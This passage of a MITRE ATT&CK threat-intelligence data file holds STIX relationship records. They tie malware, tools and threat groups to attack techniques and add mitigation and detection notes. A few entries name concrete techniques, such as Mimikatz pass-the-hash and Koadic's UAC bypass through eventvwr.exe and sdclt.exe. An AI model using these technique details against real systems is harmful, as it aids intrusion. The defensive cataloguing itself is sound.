"2020-06-25T18:41:35.120Z", "description": "[WindTail](https://attack.mitre.org/software/S0466) can use the <code>open</code> command to execute an application.(Citation: objective-see windtail1 dec 2018)", "relationship_type": "uses", "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b4cb169-cda8-49ef-a8db-188c599f50f1", "type": "relationship", "created": "2020-01-24T15:11:02.994Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-08T16:39:09.078Z", "description": "Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b4f280e-cf3b-4644-adc7-c2792c3b1fa8", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for newly executed processes that may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b50cc7f-4284-4b29-bb70-e4184dd52691", "type": "relationship", "created": "2020-03-27T21:12:27.996Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T21:12:27.996Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6b52a0a1-0919-4817-af22-31cd6cc404ad", "created": "2023-03-31T17:35:52.065Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. 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(2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-11T23:13:04.857Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b55eeb9-c7a1-4ff5-b8ef-f114e3a1b75a", "type": "relationship", "created": "2019-03-28T14:45:51.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Trickbot Feb 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}, {"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T13:27:44.782Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) has attempted to get users to launch malicious documents to deliver its payload. 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Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can find a process owned by a specific user and impersonate the associated token.(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-18T21:14:42.490Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6b580198-d882-4875-b1d5-ad937b95f12f", "created": "2022-08-11T22:33:53.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T20:15:07.382Z", "description": "[DCSrv](https://attack.mitre.org/software/S1033) has used various Windows API functions, including `DeviceIoControl`, as part of its encryption process.(Citation: Checkpoint MosesStaff Nov 2021)", "relationship_type": "uses", "source_ref": "malware--5633ffd3-81ef-4f98-8f93-4896b03998f0", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b58b7e3-4588-45a6-9ff4-7f6ead315ac5", "type": "relationship", "created": "2021-08-03T14:06:07.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T13:54:53.483Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) can write files to disk with JavaScript using a modified version of the open-source tool FileSaver.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b59ebb4-4993-4a88-96ed-a25d21382d29", "type": "relationship", "created": "2021-10-15T16:43:15.932Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}], "modified": "2021-10-15T16:43:15.932Z", "description": "Some versions of [DEATHRANSOM](https://attack.mitre.org/software/S0616) have performed language ID and keyboard layout checks; if either of these matched Russian, Kazakh, Belarusian, Ukrainian or Tatar [DEATHRANSOM](https://attack.mitre.org/software/S0616) would exit.(Citation: FireEye FiveHands April 2021)", "relationship_type": "uses", "source_ref": "malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722", "type": "relationship", "created": "2017-05-31T21:33:27.061Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "source_name": "Dell TG-3390"}, {"url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html", "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", "source_name": "Hacker News LuckyMouse June 2018"}, {"url": "https://securelist.com/luckymouse-hits-national-data-center/86083/", "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", "source_name": "Securelist LuckyMouse June 2018"}], "modified": "2020-03-18T20:47:53.366Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors installed a credential logger on Microsoft Exchange servers. [Threat Group-3390](https://attack.mitre.org/groups/G0027) also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)(Citation: Securelist LuckyMouse June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6b651165-e444-4272-a218-32e728558208", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Fin8 May 2016", "description": "Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. 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Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T16:36:06.377Z", "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can check if it is running as a service on a compromised host.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b69d848-b3d9-4f8f-96dc-381e1dd793d4", "type": "relationship", "created": "2020-07-01T20:35:01.953Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.324Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) can download and execute new versions of itself.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b6b9464-4d0c-4e7e-9631-e2a3cdac6260", "type": "relationship", "created": "2020-10-20T19:09:23.924Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - Secure Boot", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}], "modified": "2020-10-22T02:18:19.708Z", "description": "Enable secure boot features to validate the digital signature of the boot environment and system image using a special purpose hardware device. If the validation check fails, the device will fail to boot preventing loading of unauthorized software. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) ", "relationship_type": "mitigates", "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", "target_ref": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b77c83d-5df6-4d9c-8e29-5f108946574e", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).", "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6b794c49-0734-446c-9192-5b1e1cf06be0", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Github Koadic", "url": "https://github.com/zerosum0x0/koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) has 2 methods for elevating integrity. It can bypass UAC through `eventvwr.exe` and `sdclt.exe`.(Citation: Github Koadic)", "modified": "2022-04-06T15:17:23.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b7cd974-07dd-41b2-a40a-5410918a6e17", "type": "relationship", "created": "2020-02-21T21:08:36.670Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T21:08:36.670Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6b7ef377-d7c3-47ca-9707-03d4ccaf5adb", "created": "2022-04-11T21:23:29.635Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco CaddyWiper March 2022", "url": "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", "description": "Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."}, {"source_name": "Malwarebytes IssacWiper CaddyWiper March 2022 ", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", "description": "Threat Intelligence Team. (2022, March 18). Double header: IsaacWiper and CaddyWiper . Retrieved April 11, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CaddyWiper](https://attack.mitre.org/software/S0693) can use `DsRoleGetPrimaryDomainInformation` to determine the role of the infected machine. [CaddyWiper](https://attack.mitre.org/software/S0693) can also halt execution if the compromised host is identified as a domain controller.(Citation: Cisco CaddyWiper March 2022)(Citation: Malwarebytes IssacWiper CaddyWiper March 2022 )", "modified": "2022-04-16T22:44:06.272Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--b30d999d-64e0-4e35-9856-884e4b83d611", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://adsecurity.org/?page_id=1821", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", "source_name": "Adsecurity Mimikatz Guide"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.052Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>SEKURLSA::Pth</code> module can impersonate a user, with only a password hash, to execute arbitrary commands.(Citation: Adsecurity Mimikatz Guide)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b8761f0-fd7d-45da-971a-b3883e77fcc5", "type": "relationship", "created": "2021-02-22T19:55:30.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carnegie Mellon University Supernova Dec 2020", "url": "https://www.kb.cert.org/vuls/id/843464", "description": "Carnegie Mellon University. (2020, December 26). SolarWinds Orion API authentication bypass allows remote command execution. Retrieved February 22, 2021."}, {"source_name": "Splunk Supernova Jan 2021", "url": "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html", "description": "Stoner, J. (2021, January 21). Detecting Supernova Malware: SolarWinds Continued. Retrieved February 22, 2021."}], "modified": "2021-02-22T19:55:30.869Z", "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148).(Citation: Carnegie Mellon University Supernova Dec 2020)(Citation: Splunk Supernova Jan 2021)", "relationship_type": "uses", "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6b8a8055-5b1c-4e06-a6ef-4a42e23e2e11", "created": "2021-10-01T01:57:31.772Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. 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Retrieved January 22, 2021."}], "modified": "2021-04-27T19:55:58.760Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c0d9758-34f0-49b4-ad12-91329b4398e2", "type": "relationship", "created": "2020-07-16T15:10:35.333Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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Retrieved September 14, 2021."}], "modified": "2021-09-14T20:47:33.570Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can encrypt data and leave a ransom note.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c1da818-6e35-4fa8-ad40-e45c2c90e016", "type": "relationship", "created": "2020-05-29T16:34:40.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Protected Users Security Group", "url": "https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group", "description": "Microsoft. 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New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.", "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T20:38:26.989Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also use use HTTP POST and GET requests to send and receive C2 information.(Citation: Trend Micro MacOS Backdoor November 2020)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c320415-f45c-438a-9671-c4c831ebd7fc", "type": "relationship", "created": "2021-01-12T18:38:41.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint NETWIRE December 2020", "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}], "modified": "2021-01-12T18:38:41.015Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to search for files on the compromised host.(Citation: Proofpoint NETWIRE December 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6c3ee326-0ce4-449d-8073-3ee0e8185821", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-11-06T20:20:41.652Z", "description": "Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions may set files and directories to be hidden to evade detection mechanisms.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c42fa31-80df-4d67-92d2-4273c22a4d5b", "type": "relationship", "created": "2019-06-28T13:52:51.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2020-03-17T16:29:51.887Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) collects Exchange emails matching rules specified in its configuration.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6c4a3ef5-8aee-4fe8-b2c6-386f90c057a4", "type": "relationship", "created": "2021-04-20T02:54:12.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity Ocean Lotus November 2020", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}], "modified": "2021-04-20T02:54:12.394Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6c4b2975-6cad-4a10-8006-1e2e973a8a8b", "created": "2021-08-04T18:30:20.293Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC Nobelium Oct 2021", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved 